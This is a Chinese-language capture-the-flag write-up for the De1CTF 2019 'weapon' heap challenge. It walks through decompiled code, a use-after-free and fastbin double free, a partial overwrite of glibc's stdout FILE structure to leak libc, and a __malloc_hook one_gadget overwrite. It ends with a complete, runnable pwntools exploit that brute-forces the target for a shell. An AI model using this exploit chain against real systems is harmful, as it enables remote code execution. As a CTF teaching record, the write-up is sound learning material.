【IO_FILE leak】De1ctf_2019 weapon
Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      Canary found
NX:         NX enabled
PIE:        PIE enabled

libc 是 2.23 的,比较古早。

void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+4h] [rbp-Ch]
  while ( 1 )
  {
    menu();
    v3 = read_a_num();
    switch ( v3 )
    {
      case 1:
        create();
        break;
      case 2:
        delete();
        break;
      case 3:
        rename();
        break;
      default:
        puts("Incalid choice!");
        break;
    }
  }
}
__int64 create()
{
  signed int size; // [rsp+8h] [rbp-18h] BYREF
  int idx; // [rsp+Ch] [rbp-14h]
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  printf("wlecome input your size of weapon: ");
  _isoc99_scanf("%d", &size);
  if ( size <= 0 || size > 0x60 )
  {
    printf("The size of weapon is too dangers!!");
    exit(0);
  }
  printf("input index: ");
  idx = read_a_num();
  ptr = malloc(size);
  if ( !ptr )
  {
    printf("malloc error");
    exit(0);
  }
  size_book[4 * idx] = size; // 这里 *4 意思是 *16(int:4,4*4=16)
  *((_QWORD *)&book + 2 * idx) = ptr;// 这里 *2 意思也是 *16(qword:8,2*8=16)
  puts("input your name:");
  check_read(*((void **)&book + 2 * idx), size);   // 向book[idx]中读入size大小内容
  return 0LL;
}
__int64 __fastcall check_read(void *a1, unsigned int a2)
{
  if ( a2 )
    return (int)read(0, a1, a2);
  else
    return 0LL;
}

book 结构:

0x00: 堆块指针 | 堆块大小
0x10: 堆块指针 | 堆块大小
……
unsigned __int64 delete()
{
  int idx; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx :");
  idx = read_a_num();
  free(*((void **)&book + 2 * idx));
  puts("Done!");
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 rename()
{
  int idx; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("input idx: ");
  idx = read_a_num();
  puts("new content:");
  check_read(*((void **)&book + 2 * idx), size_book[4 * idx]);
  puts("Done !");
  return __readfsqword(0x28u) ^ v2;
}

题目非常好逆,关键在于如何打完 uaf 后 leak 出我们需要的信息。

libc 2.23 可以用 fastbin double free

泄露地址:通过把堆块放进 unsortedbin 里面 “涮一下” 会在剩下堆块里面得到一个 main_arena+88 的地址。能够根据这个地址定位 libc 基地址。

现在的困难:最多 0x60 只能在 fastbin 里面,不会进 unsortedbin.

解决方法:

先开几块 chunk,释放后留下 fd 指针,利用 uaf 篡改 fd 指针,导致再申请的时候从指定位置 ”错误地“ 开始申请,进而导致这个 chunk 可以修改到原先 chunk 的 size 位,达到扩大 size 的效果,实现把堆块送进 unsorted bin 的意图。

# chunk size 范围 0-0x60
add(0, 0x60, b'a')  # chunk 0
add(1, 0x60, b'b')  # chunk 1
add(2, 0x60, b'c')  # chunk 2
add(3, 0x20, b'd')  # chunk 3
delete(1)  # head -> chunk 1
delete(0)  # head -> chunk 0 -> chunk 1
edit(0, b'\x50') # head -> chunk 0 -> fake chunk
# pause()
add(4, 0x60, p64(0) * 9 + b'\x71')  # head -> fake chunk; chunk 4 伪造 fake chunk 的 size 位
add(5, 0x60, p64(0) * 3 + b'\xe1')  # head; chunk 5 伪造 chunk 1 的 size 位

delete(1) # 释放一个大小为 0xe0 的堆块,进入 unsorted bin
delete(0) # head -> chunk 0
delete(2) # head -> chunk 2 -> chunk 0
edit(2, b'\x70') # head -> chunk 2 -> faked chunk 1

在 fastbin 中构造链条,以便通过 main_arena + 88 这个地址申请到 _IO_2_1_stdout_ 附近的位置。(两个地址相差不远,所以通过 2 Bytes 的 partial write 就能够得到)

# 接下来要干两件事情:
# 1. 需要利用 faked chunk 1 申请到 _IO_2_1_stdout_ 上方一些的位置
# 利用堆上本身有的数据 '0x7f' 去伪造堆块的 size 位(否则不能成功申请到)
# 可以选择 &_IO_2_1_stdout_ - 0x43 的地方,末 3 位是固定位 0x5dd,倒数第四位需要爆破
# 2. 现在这个本来在 unsorted bin 里的 faked chunk 1 被接到了 fastbin 上,但是如果 size 不跟前面的 chunk size 匹配就会出错,所以需要再修改回来
# pause()
edit(5, p64(0) * 3 + b'\x71' + b'\x00'* 7 + b'\xdd\x25') # 注意小端序

add(6, 0x60, b'a')
add(7, 0x60, b'b') # 申请到 faked chunk 1

至此我们已经可以随意修改 _IO_stdout_ 了,只要绕过检查就能 IO_leak.

IO_leak 利用链:

puts -> _IO_puts -> _IO_sputn ->
    _IO_XSPUTN(_IO_new_file_xsputn) -> 
        _IO_OVERFLOW(_IO_new_file_overflow) -> 
            _IO_do_write (f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base) ->
                _IO_new_do_write ->
                    _IO_SYSWRITE

需要绕过的检查:

f->_flags & _IO_NO_WRITES == 0
(f->_flags & _IO_CURRENTLY_PUTTING) == 1
_flags 魔数常量 0xfbad0000
fp->_flags & _IO_IS_APPENDING == 1

总结:将 fp->_flags 赋为 0xfbad1800 即可。

并且把 _IO_write_base 改为目标地址,之后遇到 puts 时就会泄露该地址中的值。

需要注意的是,改成 0xfbad1800 后,每个 puts 的东西最后都没有换行了。可以用 0xfbad1807 避免这个问题。

可以看到吐出了一堆内容:

# IO_FILE leak
add(8, 0x60, b'\x00' * 0x33 + p32(0xfbad1807) + p64(0) * 3 + b'\x00\x00\x00\x00\x48')  # 申请到 _IO_2_1_stdout_ 上方的堆块

leak = io.recv(6)
leak = u64(leak.ljust(8, b'\x00'))  # 读取泄露的地址
log.info(f'leak: {hex(leak)}')
libc_base = leak - 0x3c56a3
log.info(f'libc_base: {hex(libc_base)}')

最后一步用 malloc_hook 打 one_gadget:

# 利用 malloc_hook 进行任意地址跳转
add(9, 0x60, b'a')
delete(9)
edit(9, p64(libc_base + libc.symbols['__malloc_hook'] - 0x23))  # fd 指向 malloc_hook - 0x23 处
add(10, 0x60, b'a')
# pause()
gadgets = [0x4527a, 0xf03a4, 0xf1247]
gadget = libc_base + gadgets[2]  # 选择一个 gadget
add(11, 0x60, b'\x00' * 0x13 + p64(gadget))

# trigger
io.sendlineafter(b'choice >> \n', b'1')
io.sendlineafter(b'wlecome input your size of weapon: ', b'96')
io.sendlineafter(b'input index: ', b'14')
io.interactive()

对于已经关闭 ASLR 的程序,做到这已经能拿 shell 了,但是显然现在的 linux 都会开 ASLR,所以

edit(5, p64(0) * 3 + b'\x71' + b'\x00'* 7 + b'\xdd\x25')

这句话中 ‘\x25’ 的 2 是不确定的,只有 1/16 的概率碰上正确的,故添加爆破措施。完整 exp 如下:

from pwn import *

libc = ELF('/mnt/d/PWNlearn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
elf = ELF('./de1ctf_2019_weapon')

# local = 0
# if local == 1:
#     io = process('./de1ctf_2019_weapon')
# else:
#     io = remote("0.0.0.0", 10043)

context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

# gdb.attach(io)

def cmd(choice):
    io.sendline(str(choice).encode())

def add(idx, size, name):
    cmd(1)
    io.sendlineafter(b'wlecome input your size of weapon: ', str(size).encode())
    io.sendlineafter(b'input index: ', str(idx).encode())
    io.sendafter(b'input your name:\n', name)

def delete(idx):
    cmd(2)
    io.sendlineafter(b'input idx :', str(idx).encode())

def edit(idx, name):
    cmd(3)
    io.sendlineafter(b'input idx: ', str(idx).encode())
    io.sendafter(b'new content:\n', name)

def pwn():
    # chunk size 范围 0-0x60
    add(0, 0x60, b'a')  # chunk 0
    add(1, 0x60, b'b')  # chunk 1
    add(2, 0x60, b'c')  # chunk 2
    add(3, 0x20, b'd')  # chunk 3
    delete(1)  # head -> chunk 1
    delete(0)  # head -> chunk 0 -> chunk 1
    edit(0, b'\x50') # head -> chunk 0 -> fake chunk
    # pause()
    add(4, 0x60, p64(0) * 9 + b'\x71')  # head -> fake chunk; chunk 4 伪造 fake chunk 的 size 位
    add(5, 0x60, p64(0) * 3 + b'\xe1')  # head; chunk 5 伪造 chunk 1 的 size 位

    delete(1) # 释放一个大小为 0xe0 的堆块,进入 unsorted bin

    delete(0) # head -> chunk 0
    delete(2) # head -> chunk 2 -> chunk 0
    # pause()
    edit(2, b'\x70') # head -> chunk 2 -> faked chunk 1

    # 接下来要干两件事情:
    # 1. 需要利用 faked chunk 1 申请到 _IO_2_1_stdout_ 上方一些的位置
    # 利用堆上本身有的数据 '0x7f' 去伪造堆块的 size 位(否则不能成功申请到)
    # 可以选择 &_IO_2_1_stdout_ - 0x43 的地方,末 3 位是固定位 0x5dd,倒数第四位需要爆破
    # 2. 现在这个本来在 unsorted bin 里的 faked chunk 1 被接到了 fastbin 上,但是如果 size 不跟前面的 chunk size 匹配就会出错,所以需要再修改回来
    # pause()
    edit(5, p64(0) * 3 + b'\x71' + b'\x00'* 7 + b'\xdd\xf5') # 注意小端序

    add(6, 0x60, b'a')
    add(7, 0x60, b'b') # 申请到 faked chunk 1

    # pause()
    # IO_FILE leak
    add(8, 0x60, b'\x00' * 0x33 + p32(0xfbad1807) + p64(0) * 3 + b'\x00\x00\x00\x00\x48')  # 申请到 _IO_2_1_stdout_ 上方的堆块

    leak = io.recv(6)
    leak = u64(leak.ljust(8, b'\x00'))  # 读取泄露的地址
    log.info(f'leak: {hex(leak)}')
    libc_base = leak - 0x3c56a3
    log.info(f'libc_base: {hex(libc_base)}')

    # 利用 malloc_hook 进行任意地址跳转
    add(9, 0x60, b'a')
    delete(9)
    edit(9, p64(libc_base + libc.symbols['__malloc_hook'] - 0x23))  # fd 指向 malloc_hook - 0x23 处
    add(10, 0x60, b'a')
    # pause()
    gadgets = [0x4527a, 0xf03a4, 0xf1247]
    gadget = libc_base + gadgets[2]  # 选择一个 gadget
    add(11, 0x60, b'\x00' * 0x13 + p64(gadget))

    # trigger
    io.sendlineafter(b'choice >> \n', b'1')
    io.sendlineafter(b'wlecome input your size of weapon: ', b'96')
    io.sendlineafter(b'input index: ', b'14')
    io.interactive()

while True:
    try:
        io = remote("0.0.0.0", 10043)
        pwn()
        break
    except:
        io.close()
上一篇
下一篇